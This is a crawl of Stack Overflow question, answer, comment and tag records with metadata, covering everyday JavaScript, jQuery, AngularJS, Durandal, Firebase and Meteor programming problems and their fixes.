has body: Im having some real trouble with selecting some text using protractor. A little context; this is for an AngularJS CMS system for writing news articles. The text I want to highlight is located within a text area which is most of the page. A similar application is a Google Docs Document. With webdriver, I believe I can simply use something to this effect: browser.actions().keyDown(protractor.Key.CTRL).sendKeys('a').perform(); However, I code on a MAC and although currently our tests are run on a windows box in SauceLabs, the end goal is to move to a MAC to emulate our users. I tried a similar line of code but with Command (or CMD) but it doesn't work, according to this post, OSX doesn't support native key events. Other methods I've explored: Attempting a triple click in the element to select all text...but I couldn't get this to work (any help?). This is complicated by the fact that the mouse cursor has to be over the text for it to highlight all of the text. Double clicking inside the field which on my local machine manages to select the last work in the text area, but in SauceLabs, the browser is smaller so manages to select a different word. This feels too brittle to use as it would be different on most machines. Moving the text cursor to either the beginning or end of the text area, keydown on Shift and pressing the left or right arrow keys based on the number of character in the text area. I am having trouble moving the cursor to the start or end of the text field in this implementation. Thanks for reading, I realise this is a bit of a long one! If you can think of a method I haven't thought of yet or a way to code the triple click or the arrow keys method, that would be extremely helpful!

http://stackoverflow.com/q/25563687
answer count: 2
tagged with: durandal-2.0
favorite count: 0
type: UnansweredQuestion
tagged with: single-page-application
tagged with: durandal
has answer: http://stackoverflow.com/a/25571810
has body: Here is unusual scenario I'm trying to implement: I got gmap module where Google Maps is asynchronously loads. I'm using following code to properly attach Google Maps: composition.addBindingHandler('googleMap', { init: function (element, valueAccessor, allBindingsAccessor, viewModel) { gmap = ko.utils.unwrapObservable(valueAccessor()); var latLng = new gmaps.LatLng(37.774107,-122.420853); var mapOptions = { center:latLng, zoom: 17, disableDefaultUI: true, mapTypeId: gmaps.MapTypeId.ROADMAP }; gmap.googleMap = new gmaps.Map(element, mapOptions); navigator.geolocation.getCurrentPosition(onSuccess, onError); } }); My gmap module is module which I want to show first after the user login. So I want to perform some actions before this module should be shown. In most cases I could use a Promise in canActivate method, but! In this case, my module doesn't attached. But I need to attach this module, perform some operations (get database records, determine user geolocation, add markers on the Google Map based on this data) and only when it's done show the module to user. How can I get this works? I tried Promises but it didn't works for me, because I listen to attached method which doesn't fires until the module is shown. So the question: How to activate and attach viewmodel and it's appropriate view (activate and attached callbacks should fire) but don't show it until the condition? UPDATE: Okay, it seems to my question is not really clearly understandable. Here is the my scenario: 1. My SignIn module activated. User should type his credentials. 2. Once the authorization return success Gmap module should be activated and attached, but don't shown. User should still see the SignIn module and message like 'Loading data...' 3. Gmap module should be fully loaded (all the callbacks should fire). I need a possibility to interact with DOM, that means that module should be attached. But don't shown. 4. Once the some conditions is true, SignIn module comes invisible and Gmap is shown.…
upvote count: 2
score: 1
has answer: http://stackoverflow.com/a/25593773
downvote count: 1
type: Question
tagged with: javascript
has title: Durandal how to attach view and don't show it untill it's ready?
has comment: http://stackoverflow.com/comment/39930738
has comment: http://stackoverflow.com/comment/39931675

http://stackoverflow.com/q/25572964
has comment: http://stackoverflow.com/comment/39940415
has title: Non convoluted method to add a new line after ng-repeat
has comment: http://stackoverflow.com/comment/39940190
has comment: http://stackoverflow.com/comment/39939683
upvote count: 1
has comment: http://stackoverflow.com/comment/39940887
answer count: 1
has comment: http://stackoverflow.com/comment/39988980
has comment: http://stackoverflow.com/comment/39965672
favorite count: 0
has answer: http://stackoverflow.com/a/25573524
accepted answer: http://stackoverflow.com/a/25573524
has comment: http://stackoverflow.com/comment/39971567
tagged with: angularjs
tagged with: angularjs-ng-repeat
has comment: http://stackoverflow.com/comment/39941621
type: AnsweredQuestion
downvote count: 0
has body: How do you define what's being put after (or between) ng-repeat elements? Clearly instead of &lt;div&gt; &lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt; &lt;/div&gt;​ I want &lt;div&gt; &lt;div&gt;&lt;/div&gt; &lt;div&gt;&lt;/div&gt; &lt;div&gt;&lt;/div&gt; &lt;div&gt;&lt;/div&gt; &lt;/div&gt;​ or &lt;div&gt; &lt;div&gt;&lt;/div&gt;&amp;#10;&lt;div&gt;&lt;/div&gt;&amp;#10;&lt;div&gt;&lt;/div&gt;&amp;#10;&lt;div&gt;&lt;/div&gt;&amp;#10; &lt;/div&gt;​ I don't wanna use extra elements. If you are wondering, yes, the div elements are inline-block. PS: I removed the comments generated by angular for clarity.
score: 1
has comment: http://stackoverflow.com/comment/39939770
has comment: http://stackoverflow.com/comment/39939806
has comment: http://stackoverflow.com/comment/39972081
has comment: http://stackoverflow.com/comment/39976830
type: Question
tagged with: javascript
has comment: http://stackoverflow.com/comment/39939762

http://stackoverflow.com/a/25700702
has body: I would love to put them into a table (as I said in approach #1) but i just don't know how :( – Here is how to make an HTML table with one row with two data cells (columns). If you use the same layout for both tables, they will appear the same. &lt;table&gt; &lt;tr&gt; &lt;td&gt; $..... for calendar 1 &lt;/td&gt; &lt;td&gt; $..... for calendar 2 &lt;/td&gt; &lt;/tr&gt; &lt;/table&gt;
downvote count: 0
answers question: http://stackoverflow.com/q/25694943
type: Answer
score: 1
has comment: http://stackoverflow.com/comment/40234915
upvote count: 1

http://stackoverflow.com/comment/39986549
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25598620
has text: thanks for the correction, but the flipping part is still not functioning
score: 0

http://stackoverflow.com/comment/40266974
score: 1
has text: Not really related to the question, but I find the use of $timeout here really weird: shouldn't you use deferred.resolve() in stead?
type: Comment
comment on: http://stackoverflow.com/q/25596784
type: QuestionComment

http://stackoverflow.com/comment/40129585
comment on: http://stackoverflow.com/a/25677551
type: AnswerComment
score: 0
type: Comment
has text: that's not at all what i suggested. i was clarifying @JuanMendes's suggestion, which he just made clearer with an example.

http://stackoverflow.com/comment/40484472
type: QuestionComment
has text: Hi was the below answer what you were looking for?
comment on: http://stackoverflow.com/q/25554742
score: 0
type: Comment

http://stackoverflow.com/comment/40159341
comment on: http://stackoverflow.com/a/25692955
score: 0
type: AnswerComment
has text: you did on('init') on series function as well?
type: Comment

http://stackoverflow.com/q/25590446
accepted answer: http://stackoverflow.com/a/25590494
tagged with: javascript
type: AnsweredQuestion
tagged with: jquery
has answer: http://stackoverflow.com/a/25590494
has body: I have a div as follows: &lt;div class="job-article-holder-click-for-more-link"&gt; &amp;#x25B2; &lt;/div&gt; and my javascript is as follows: $('.job-article-holder-click-for-more-link').on('click', function () { $(this).html() == "&amp;#x25B2;" ? $(this).html('&amp;#x25BC;') : $(this).html('&amp;#x25B2;'); }); The check fails every time, how come? It is basically an arrow, I'm just trying to toggle it to show up and down when I click on it.
has title: Compare 2 ASCII characters with javascript
type: Question
tagged with: http://stackoverflow.com/tag/html
possible better answer: http://stackoverflow.com/a/25590484
has answer: http://stackoverflow.com/a/25590484
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/39971158

intern
tags question: http://stackoverflow.com/q/25581576
tags question: http://stackoverflow.com/q/25576240
tag name: intern
type: Tag
tags question: http://stackoverflow.com/q/25635913
tags question: http://stackoverflow.com/q/25555449

http://stackoverflow.com/q/25590191
type: Question
accepted answer: http://stackoverflow.com/a/25590224
has comment: http://stackoverflow.com/comment/39970708
tagged with: javascript
has title: javascript global variable becomes empty after being used
has body: I have a global variable that is assigned a value on page load via document.ready(), but when I access it from an event method, it becomes empty. So to check whether or not the variable is assigned a value, I added an alert(variable.length) right after assignment which shows the expected value, but when I do the same in the event triggered method, the value is always 0 This is what I've done document.ready() var selectedCategory = new Array(); $(document).ready(function () { selectedCategory = $("#&lt;%=hfdGenreList.ClientID%&gt;").val().split(','); alert(selectedCategory.length); }); strong text function moveToTextbox() { alert(selectedCategory.length); // some code }
upvote count: 1
has answer: http://stackoverflow.com/a/25590224
answer count: 1
favorite count: 0
type: AnsweredQuestion
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/39970845

http://stackoverflow.com/a/25673575
downvote count: 0
upvote count: 2
type: Answer
has body: $.extend merges two objects. The result of the first code is a single object containing all the properties of the two objects: {name1 : 'Nicholas', age1: '27', name2: 'Bobby', age2: '32'} It also modifies its first argument as a side effect. So this result will be in both profile and names. To prevent the first argument from being modified, use $.extend({}, names, ages). To access one of the values from this, you would use profile.name1 or profile.age2. Your second code creates a new object that contains the first two objects as different properties within it: { names: {name1 : 'Nicholas', name2: 'Bobby'}, ages: { age1 : '27', age2 : '32'} } To access one of the values from this, you would use profile.names.name1 or profile.ages.age2.
score: 2
answers question: http://stackoverflow.com/q/25673429

http://stackoverflow.com/comment/40163138
score: 0
comment on: http://stackoverflow.com/q/25695391
type: Comment
type: QuestionComment
has text: That does not meet the requirement I have which is having the ability to pass anonymous functions to the child. Of course as stated above if you declare the function in the parent you can call it from the child. But I need to not declare the function in the parent and instead pass an anonymous function to the child to execute.

http://stackoverflow.com/comment/40139590
type: Comment
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/25682892
has text: duplicate of: http://stackoverflow.com/questions/23740548/how-to-pass-variables-and-data-from-php-to-javascript

http://stackoverflow.com/q/25656770
type: Question
has title: Stop setInterval Until Event Reoccurs
has body: I've made some share options where the user clicks on a social share button on the first card, a window opens, and when they close the window it initiates the change to the next card. Here is how I open and track the close of the window: Javascript var shareWindow; //Open the window on call function openShareWin(link) { shareWindow = window.open(link, 'rmShare', 'location=0,status=0,menubar=0,scrollbars=1,resizable=1,width=520,height=350'); } //Initiate card flip on close var pollTimer = window.setInterval(function() { if (shareWindow.closed !== false) { // !== is required for compatibility with Opera window.clearInterval(pollTimer); flipOnClose(); } }, 200); function flipOnClose() { $(document).ready(function() { $('.share-rotate').trigger('click'); }); } Everything works just fine... the first time. But if the user returns to the share menu (without refresh), opens the window, shares the site, and closes the window, the event does not fire. I am aware that this is because I call clearInterval, but I must do this in order to keep setInterval from flipping through the rest of the cards automatically. How do I cause flipOnClose() to fire once when the user closes the window, and also fire when the action is performed each successive time? EDIT: I'm also getting this error: Uncaught TypeError: Cannot read property 'closed' of undefined.
tagged with: javascript
score: 0
answer count: 1
has answer: http://stackoverflow.com/a/25664840
accepted answer: http://stackoverflow.com/a/25664840
type: AnsweredQuestion

http://stackoverflow.com/comment/40016385
has text: I think it means that tabArray[0] returned an object, not an Id? If so how do we obtain the Id?
comment on: http://stackoverflow.com/a/25589071
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/41128179
comment on: http://stackoverflow.com/a/25676809
has text: @BillYudichak Glad that it already worked for you. For the follow up problem with the z-index reset I've just updated my answer.
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/a/25691566
has body: var stores = new Array(); stores[0] = { ItemNumber: "2001", Code: "001", Qty: "1", OH: "1" }; stores[1] = { ItemNumber: "2002", Code: "002", Qty: "3", OH: "2" }; stores[2] = { ItemNumber: "2003", Code: "003", Qty: "5", OH: "8" }; stores[3] = { ItemNumber: "2001", Code: "004", Qty: "10", OH: "90" }; // Consider the object to be searched for. var search = {ItemNumber: "2001", Code: "001", Qty: "1", OH: "1"}; // Based on your code above. for(i=0;i&lt;stores.length;i++) { // iterate the objects in store, get their keys. var found = true; var keys = Object.keys(stores[i]); for(j =0;j&lt;keys.length;j++) { // iterate the keys and check if their value matches to the search object var key = keys[j]; var value = stores[i][key]; found = found &amp;&amp; (value == search[key]); } if(found) break; }
score: 0
answers question: http://stackoverflow.com/q/25691155
type: Answer

http://stackoverflow.com/a/25620095
upvote count: 1
type: Answer
downvote count: 0
answers question: http://stackoverflow.com/q/25620046
has body: maybe the element is not in the dom, try the following if (x&gt;0){ ?&gt; &lt;script type="text/javascript"&gt; jQuery(function ($) { // run on document.ready alert("Hi!"); $("#fault_message_mail").hide(); }); &lt;/script&gt; &lt;?php }
score: 1

http://stackoverflow.com/q/25649204
has body: Say I have the following: var firebaseARef = new Firebase("http://this.is.my/firebase/url/A/reference") var firebaseBRef = new Firebase("http://this.is.my/firebase/url/B/reference") When I define my .on() functions, I'd like to specify a single handler, and then do all of the handling in one place in my code, rather than having to define the functions inline with the .on() definition. To illustrate: var handleAllFirebaseStuff = function(dataSnapshot){ var name = dataSnapshot.name(); //PROBLEM HERE: returns "reference", no way to distinguish! switch(name){ case "http://this.is.my/firebase/url/A/reference": //How do I get this full reference from dataSnapshot? /* do stuff for A reference */ case "http://this.is.my/firebase/url/B/reference": //How do I get this full reference from dataSnapshot? /* do stuff for B reference */ default: break; } } firebaseARef.on('value', handleAllFirebaseStuff); firebaseBRef.on('value', handleAllFirebaseStuff); The problem is dataSnapshot.name() will only return "reference" in both cases, making it impossible to distinguish between the two references in the switch/case statement! I'm certain that dataSnapshot contains this information somewhere, but I have yet to uncover it in any convenient fashion. Exploring the dataSnapshotobject in the console, I find that there is an object buried within called path that contains (among other things) an array, using the example above, that would contain ["firebase", "url", "A", "reference"], but there is no easy way to access it. If I had access to that array, I could rebuild the URL or find a more convenient way to handle the switch/case statement. I think a full string of the reference would be more appropriate as an easily accessible value from dataSnapshot.
type: Question
has title: Firebase get full path of reference URL in dataSnapshot (javascript API)
answer count: 1
downvote count: 0
tagged with: javascript
has comment: http://stackoverflow.com/comment/40085986
favorite count: 0
accepted answer: http://stackoverflow.com/a/25653975
upvote count: 11
score: 11
tagged with: firebase
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25653975
has comment: http://stackoverflow.com/comment/40084247

http://stackoverflow.com/comment/40041361
type: AnswerComment
score: 0
type: Comment
has text: @user3260554 Are you using Internet Explorer with jQuery 1.10.1? http://stackoverflow.com/a/18702901/2640017
comment on: http://stackoverflow.com/a/25628632

http://stackoverflow.com/q/25612131
tagged with: javascript
tagged with: scale
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/40074933
favorite count: 0
has answer: http://stackoverflow.com/a/25663657
has title: prevent scale in Raphael
type: AnsweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/40072428
upvote count: 1
has comment: http://stackoverflow.com/comment/40068307
has body: Have a small issue - need help on how to prevent zooming text during resizing paper with the shapes. Have a Raphael paper created: ... this._paper = Raphael(this._inner[0],this._inner.width(),this._inner.height()); this._set = this._paper.set(); ... and scaling done using: zoomIn: function(event, useCoords) { this.zoomTo(this._zoom * this.options.zoomStep, event, useCoords); }, zoomOut: function(event, useCoords) { this.zoomTo(this._zoom / this.options.zoomStep, event, useCoords); }, ... this._paper.setSize(w, h); this._paper.setViewBox(0, 0, this._mapWidth, this._mapHeight, false); ... The shapes and texts are on the same paper so panning the paper makes the texts are scalled as well. Is there a way on how to prevent it?
has comment: http://stackoverflow.com/comment/40073305
tagged with: raphael
type: Question
accepted answer: http://stackoverflow.com/a/25663657

http://stackoverflow.com/a/25558251
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25557897
has body: Yes, your question is very broad and the choice of means to achieve your task really depends on many factors. Anyway, I wrote down this, rather primitive, version of what I think you want to perform in JavaScript and jQuery, so it is all happening on client side: Add Subtract You can try it out in this jsFiddle.

http://stackoverflow.com/comment/39945807
type: Comment
score: 1
has text: This is a much better explaination :}
comment on: http://stackoverflow.com/a/25576462
type: AnswerComment

http://stackoverflow.com/a/25609209
answers question: http://stackoverflow.com/q/25609128
has body: you could try something like to see if it works <?php echo "quote"; ?> Or even just put raw values in there instead of the PHP to check that it isnt something wrong elsewhere. Note: While the ". ." arent really neccessary since variables within " " still work, i find it helps with readability and variables highlight correctly in code editors such as PSPad. EDIT Your problem is <a onclick="javascript:quote('<div style="border:1p Your code is basically: <a onclick="javascript:quote('<div style=" That is what is in the 'onclick' comment ending at the =" symbol. Escape ALL double-quotes (") that are within the onclick="..."
has comment: http://stackoverflow.com/comment/40005487
score: 0
type: Answer

http://stackoverflow.com/comment/40057725
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25637431
type: Comment
has text: I'm not sure how the semantics could be better here - it is an ugly solution akin to the infamous "catch all" that says "suppress everything that can go wrong" - if the network request didn't work (but there might be coordinates on the server) there would be no way to handle it in this code. This code solves a very narrow form of the "settle" problem - it'll work in OP's case and it's fairly simple but it would not work very well in the general case of "settling" an array of promises.

http://stackoverflow.com/comment/39923502
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25561061
has text: yes,see this http://jsfiddle.net/bumbumpaw/p117n434/2/, this is correct but some of css is not applying here. And on the right panel of jsfiddle if i re-add the tableutils.js ,csss works but scroll shows on maximixed see this http://jsfiddle.net/bumbumpaw/p117n434/4/
type: Comment

http://stackoverflow.com/q/25559905
has comment: http://stackoverflow.com/comment/39915353
has title: Store an object as a property in JavaScript
tagged with: image
has comment: http://stackoverflow.com/comment/39917548
type: Question
has comment: http://stackoverflow.com/comment/39914960
has comment: http://stackoverflow.com/comment/39914379
tagged with: javascript
has body: I have an object in Javascript to store an image as well as some other properties such as x,y,opacity and how to draw it. When I try to store the image object as a property, it doesn't work. When I store it as a variable it does. Is there a way to store an object as a property, or is there a better way to handle this? function imageClass(src){ var image=new Image(); image.src=src; this.x=0; this.y=0; this.scale=1; this.opacity=1; this.draw=function(){ ctx.drawImage(image,this.x,this.y); }; } When I try to put the image variable as a property, the draw function doesn't work
score: 0
has comment: http://stackoverflow.com/comment/39915171
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/39917834
has comment: http://stackoverflow.com/comment/39914352
tagged with: object
answer count: 0

http://stackoverflow.com/a/25652887
type: Answer
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/25650091
has body: Breeze sends the query parameters in the URL, so they need to be serialized to a string. Your BitArray prototype needs to have a toString() method that serializes the bits in a way that your server can understand.
downvote count: 0
has comment: http://stackoverflow.com/comment/40085648

http://stackoverflow.com/q/25644831
has answer: http://stackoverflow.com/a/25644982
has comment: http://stackoverflow.com/comment/40070093
tagged with: mysql
type: Question
has answer: http://stackoverflow.com/a/25645003
has body: http://jsfiddle.net/bzL7p87k/ I have Placeholders in this Table, who fill with special words, but what is when I have more then the 4 rows? When I have 21 Placeholder for 21 Rows? I mean that so: I have only one row with the Placeholder, like this: jsfiddle.net/bzL7p87k/1/ And in my CMS, I have Placeholder for 30 rows, is there a possibility that the table expands automatically?
has comment: http://stackoverflow.com/comment/40070019
tagged with: javascript
score: 0
has comment: http://stackoverflow.com/comment/40069961
answer count: 2
tagged with: jquery
possible better answer: http://stackoverflow.com/a/25645003
accepted answer: http://stackoverflow.com/a/25644982
tagged with: http://stackoverflow.com/tag/html
has title: HTML Table autom. expanding
tagged with: css
type: AnsweredQuestion

http://stackoverflow.com/q/25602639
has title: Strange Meteor Error: [Log] Exception from Deps recompute function: NotFoundError: DOM Exception 8
has comment: http://stackoverflow.com/comment/40031983
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40034936
has comment: http://stackoverflow.com/comment/40037249
has comment: http://stackoverflow.com/comment/40028709
has answer: http://stackoverflow.com/a/29686180
has comment: http://stackoverflow.com/comment/40033577
has answer: http://stackoverflow.com/a/25677602
type: Question
tagged with: javascript
has comment: http://stackoverflow.com/comment/39993763
score: 0
answer count: 2
tagged with: meteor
has body: This is such a random error message? What are good troubleshooting tips to track where this is coming from? SAFARI Console: [Log] Exception from Deps recompute function: NotFoundError: DOM Exception 8 (meteor.js, line 741) insertBefore@[native code] _insertNodeWithHooks@http://10.0.0.9/packages/blaze.js?cf9aea283fb9b9d61971a3b466bff429f9d66d7d:349:24 _insert@http://10.0.0.9/packages/blaze.js?cf9aea283fb9b9d61971a3b466bff429f9d66d7d:318:36 attach@http://10.0.0.9/packages/blaze.js?cf9aea283fb9b9d61971a3b466bff429f9d66d7d:395:23 _insert@http://10.0.0.9/packages/blaze.js?cf9aea283fb9b9d61971a3b466bff429f9d66d7d:313:13 attach@http://10.0.0.9/packages/blaze.js?cf9aea283fb9b9d61971a3b466bff429f9d66d7d:395:23 _insert@http://10.0.0.9/packages/blaze.js?cf9aea283fb9b9d61971a3b466bff429f9d66d7d:313:13 attach@http://10.0.0.9/packages/blaze.js?cf9aea283fb9b9d61971a3b466bff429f9d66d7d:395:23 setMembers@http://10.0.0.9/packages/blaze.js?cf9aea283fb9b9d61971a3b466bff429f9d66d7d:438:18 doMaterialize@http://10.0.0.9/packages/blaze.js?cf9aea283fb9b9d61971a3b466bff429f9d66d7d:1877:32 nonreactive@http://10.0.0.9/packages/deps.js?02d2ad4c6472ce004db73ba12c99864ab9acb468:397:13 doRender@http://10.0.0.9/packages/blaze.js?cf9aea283fb9b9d61971a3b466bff429f9d66d7d:1868:23 http://10.0.0.9/packages/blaze.js?cf9aea283fb9b9d61971a3b466bff429f9d66d7d:1813:20 withCurrentView@http://10.0.0.9/packages/blaze.js?cf9aea283fb9b9d61971a3b466bff429f9d66d7d:2046:16 viewAutorun@http://10.0.0.9/packages/blaze.js?cf9aea283fb9b9d61971a3b466bff429f9d66d7d:1812:33 _compute@http://10.0.0.9/packages/deps.js?02d2ad4c6472ce004db73ba12c99864ab9acb468:229:36 _recompute@http://10.0.0.9/packages/deps.js?02d2ad4c6472ce004db73ba12c99864ab9acb468:243:22 flush@http://10.0.0.9/packages/deps.js?02d2ad4c6472ce004db73ba12c99864ab9acb468:337:24 Chrome Debug: Exception from Deps recompute function: Error: Failed to execute 'insertBefore' on 'Node': The node before which the new node is to be inserted is not a child of this node. at…

http://stackoverflow.com/a/25607851
upvote count: 3
accepted answer of: http://stackoverflow.com/q/25607685
score: 3
answers question: http://stackoverflow.com/q/25607685
type: AcceptedAnswer
downvote count: 0
has body: This will not work data = MakeAJAXCall(registrationId); Because MakeAJAXCall is performing an Ajax call and it is asynchronous so the return will not execute in the same order as your return in the function. So, you need to use a callback. Try this to change your code to something like: MakeAJAXCall(registrationId, function(data){ $("#dialog").html("Registration Id: " + data.RegistrationId + "&lt;br /&gt;" + "Permit From: " + data.PermitFrom + "&lt;br /&gt;" + "Permit To: " + data.PermitTo + "&lt;br /&gt;" + "Registration Status: " + data.RegistrationStatus ); }); Then on your Ajax Call you need to make this change as well: function MakeAJAXCall(regId, callback) { $.ajax({ type: "post", contentType: "application/json; charset=utf-8", dataType: "text json", url: "/Secure/CustomerSummary.aspx/GetRegistration", data: "{ regId: \"" + regId + "\" }", success: function (msg) { data = msg.d; callback(data); //&lt;--- You callback function is called here }, error: function (xOptions, textStatus) { console.log(textStatus); console.log(xOptions); } }); }
type: Answer

dom
tags question: http://stackoverflow.com/q/25658353
type: Tag
tags question: http://stackoverflow.com/q/25583991
tags question: http://stackoverflow.com/q/25709793
tags question: http://stackoverflow.com/q/25703914
tags question: http://stackoverflow.com/q/25708201
tags question: http://stackoverflow.com/q/25670733
tags question: http://stackoverflow.com/q/25611911
tags question: http://stackoverflow.com/q/25572438
tags question: http://stackoverflow.com/q/25550880
tags question: http://stackoverflow.com/q/25655558
tags question: http://stackoverflow.com/q/25699150
tags question: http://stackoverflow.com/q/25610138
tags question: http://stackoverflow.com/q/25698309
tags question: http://stackoverflow.com/q/25566665
tags question: http://stackoverflow.com/q/25701743
tags question: http://stackoverflow.com/q/25592901
tags question: http://stackoverflow.com/q/25670084
tags question: http://stackoverflow.com/q/25622810
tags question: http://stackoverflow.com/q/25577204
tags question: http://stackoverflow.com/q/25607648
tags question: http://stackoverflow.com/q/25696824
tags question: http://stackoverflow.com/q/25607546
tags question: http://stackoverflow.com/q/25693250
tags question: http://stackoverflow.com/q/25621802
tags question: http://stackoverflow.com/q/25561850
tags question: http://stackoverflow.com/q/25706972
tags question: http://stackoverflow.com/q/25581568
tags question: http://stackoverflow.com/q/25692641
tags question: http://stackoverflow.com/q/25613996
tags question: http://stackoverflow.com/q/25577919
tags question: http://stackoverflow.com/q/25629406
tags question: http://stackoverflow.com/q/25634649
tags question: http://stackoverflow.com/q/25565766
tags question: http://stackoverflow.com/q/25694029
tags question: http://stackoverflow.com/q/25673760
tags question: http://stackoverflow.com/q/25689457
tags question: http://stackoverflow.com/q/25595480
tags question: http://stackoverflow.com/q/25705870
tags question: http://stackoverflow.com/q/25645516
tags question: http://stackoverflow.com/q/25674867
tags question: http://stackoverflow.com/q/25666437
tag name: dom
tags question: http://stackoverflow.com/q/25603619
tags question: http://stackoverflow.com/q/25672274
tags question: http://stackoverflow.com/q/25653259
tags question: http://stackoverflow.com/q/25700050
tags question: http://stackoverflow.com/q/25701368

http://stackoverflow.com/a/25652717
type: Answer
has comment: http://stackoverflow.com/comment/40084992
accepted answer of: http://stackoverflow.com/q/25652632
answers question: http://stackoverflow.com/q/25652632
upvote count: 2
has comment: http://stackoverflow.com/comment/40084911
has comment: http://stackoverflow.com/comment/40085036
score: 2
has comment: http://stackoverflow.com/comment/40085144
has body: You had several errors, here is the fixed code: JSFiddle $(document).ready(function () { $("#Country").on('change', function () { if ($(this).val() != "US") { alert("my error message"); $("#SubmitButton").prop("disabled",true); } }); }); One error was no quotes around "my error message" Another was that you didn't have your DOM loaded before this script ran. I wrapped your code in $(document).ready( function() { ... });, doing this will mean you don't need to use delegation from the document. Another was that you were never setting "value1", I changed it to just directly get the value - $(this).val() Another was you need to actually get the SubmitButton to disable it. Get it with $("#SubmitButton") and disable with .prop("disabled",true) Also, if you want to re-enable the submit button if the user selects US, you can do this: JSFiddle ... $("#SubmitButton").prop("disabled",true); } else { $("#SubmitButton").prop("disabled",false); } ...
has comment: http://stackoverflow.com/comment/40085162
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40084776

http://stackoverflow.com/q/25589677
type: AnsweredQuestion
score: 1
has answer: http://stackoverflow.com/a/25589688
accepted answer: http://stackoverflow.com/a/25589688
type: Question
downvote count: 0
tagged with: javascript
tagged with: jquery
linked to: http://stackoverflow.com/q/25618453
has title: Choosing different background color for divs on button click
answer count: 1
favorite count: 0
has body: I have basic on click function that creates a draggable div with text appended to it. The second functionality that I have been to accomplish is to let the user choose a background color for the div. I am using a color picker plugin called SPECTRUM. The issue is that when choosing a new background color for a new div, the new background color is applied to previously created divs. How can I keep adding new divs with different background colors? JSFIDDLE /** Colorpicker spectrum configuration **/ $("#colorpicker").spectrum({ //spectrum config showPaletteOnly: true, color: 'blanchedalmond', palette: [ ["#000","#444","#666","#999","#ccc","#eee","#f3f3f3","#fff"] ], change: function(colorSelected) { color = colorSelected.toHexString(); } }); /** Add New Div with selected background **/ $('#button').click(function (e) { $(' ', { class: 'draggable ui-widget-content', text: $('textarea').val(), appendTo: '.middle-side', draggable: { containment: 'parent' } }).addClass('placement'); $('.draggable').css('background-color' , color); }); HTML Choose Div Background Color:
upvote count: 1

http://stackoverflow.com/q/25628819
tagged with: javascript
has body: I am newbie to Angular.js , i have read that Controllers should not pollute the global namespace. What does it really means and why angular.module('SomeApp',[]).controller('SomeController', function($scope) {}) is the best way to add a controller?
upvote count: 3
has title: "Controllers polluting the Global Namespace" what does it mean in Angular
answer count: 2
favorite count: 0
tagged with: angularjs
type: UnansweredQuestion
score: 3
downvote count: 0
has answer: http://stackoverflow.com/a/25628881
type: Question
has answer: http://stackoverflow.com/a/25628966

http://stackoverflow.com/q/25551019
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/39922553
tagged with: javascript
has title: Dojo: Sorting a widgets store object
favorite count: 0
has comment: http://stackoverflow.com/comment/39935731
has body: Is there a way to take a dojo widget object and sort its store, e.g. by alphabetical order etc? Initially I thought about copying the store, sorting it and replacing the original with it but is there any way to do it directly on the widget object without this step?
tagged with: dojo
upvote count: 2
has answer: http://stackoverflow.com/a/25572521
has comment: http://stackoverflow.com/comment/39914476
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25572521
type: Question
score: 2

http://stackoverflow.com/a/25711051
has body: return x ? y : y ? x : true; parses as if x return y // if y is true, then x == y. if y is false, then x != y else (x is false) if y return x // x is false and y is true, y != x, return false else return true // x is false and y is false, return true This is of course a pretty convoluted way to express boolean equality (aka Logical biconditional aka iff). More natural would be an expression like this: (x &amp;&amp; y) || (!x &amp;&amp; !y)
type: AcceptedAnswer
score: 4
answers question: http://stackoverflow.com/q/25710972
type: Answer
upvote count: 4
accepted answer of: http://stackoverflow.com/q/25710972
has comment: http://stackoverflow.com/comment/40190713
downvote count: 0

http://stackoverflow.com/a/25663143
type: Answer
accepted answer of: http://stackoverflow.com/q/25662919
has comment: http://stackoverflow.com/comment/40103230
has comment: http://stackoverflow.com/comment/40103423
score: 1
upvote count: 1
has body: Here's the code, deactivate keydown, but keep Ctrl+v working. http://jsfiddle.net/70h3zron/ var ctrlActive = false; $('#idtext').keydown(function(e) { if(ctrlActive) { if(event.which == 86) { return true; } else { e.preventDefault(); return false; } } else { if(event.which == 17) ctrlActive = true; else { e.preventDefault(); return false; } } }); $('#idtext').keyup(function(e) { if(event.which == 17) { ctrlActive = false; } });
answers question: http://stackoverflow.com/q/25662919
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/a/25693344
has comment: http://stackoverflow.com/comment/40159237
has comment: http://stackoverflow.com/comment/40159406
accepted answer of: http://stackoverflow.com/q/25693216
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40158767
has comment: http://stackoverflow.com/comment/40159360
type: Answer
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/25693216
has body: The reason why data.results.id is returning nothing is because data.results is an Array of objects. If what you want is an Array with the IDs of the objects of data.results you could do it like this: var resultIDs = data.results.map(function(result){return result.id;}); I'm not sure, but I think that this is what you want: var app = angular.module("DB", []); app.controller("Controller", function($scope, $http) { $scope.details = []; $http.defaults.headers.common["Accept"] = "application/json"; $http.get('api_url'). success(function(data, status, headers, config) { $scope.games = data.results; for(var i =0;i&lt;$scope.games.lenght;i++){ $http.get('http:/api/id/' + $scope.games[i].id + '?api_key=', function(e){ }). success(function(data, status, headers, config) { $scope.details.push(data); }); } }). error(function(data, status, headers, config) { //handle errors }); }); However I would check if the API that you are using has a method that accepts an array of IDs instead of a single ID, so that you don't have to iterate like that. If this API is a RESTful service you could do it without iterating, like this: var app = angular.module("DB", []); app.controller("Controller", function($scope, $http) 